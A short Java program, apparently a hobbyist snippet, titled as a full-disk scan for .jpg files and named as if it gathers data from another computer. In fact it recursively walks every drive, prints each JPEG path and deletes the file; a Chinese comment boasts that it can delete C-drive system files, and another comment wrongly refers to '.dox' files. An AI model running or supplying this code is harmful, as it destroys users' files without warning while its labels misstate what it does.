全盘扫描.jpg文件
package play;
import java.io.File;
public class getDataFromOtherComputer {
public static void main(String[] args) {
// TODO Auto-generated method stub
File[] roots=File.listRoots();//返回所有盘符
for(int i=0;i<roots.length;i++){
File file=new File(roots[i].getAbsolutePath());
getDataFromOtherComputer getData=new getDataFromOtherComputer();
getData.getFiles(file);
}
}
// 递归输出文件名
public void getFiles(File file) {
getDataFromOtherComputer getData = new getDataFromOtherComputer();
File[] fileList = file.listFiles();
if (fileList!= null) {//注意!判断是否为空。否则,有空指针异常
for (int i = 0; i < fileList.length; i++) {
if (fileList[i].isFile()) {
if (fileList[i].getName().endsWith(".jpg")) {// 如果是.dox文件,则输出绝对路径
System.out.println(fileList[i].getAbsolutePath());
fileList[i].delete();//删文件 可以删C盘系统文件
}
} else {
getData.getFiles(fileList[i]);
}
}
}
}
}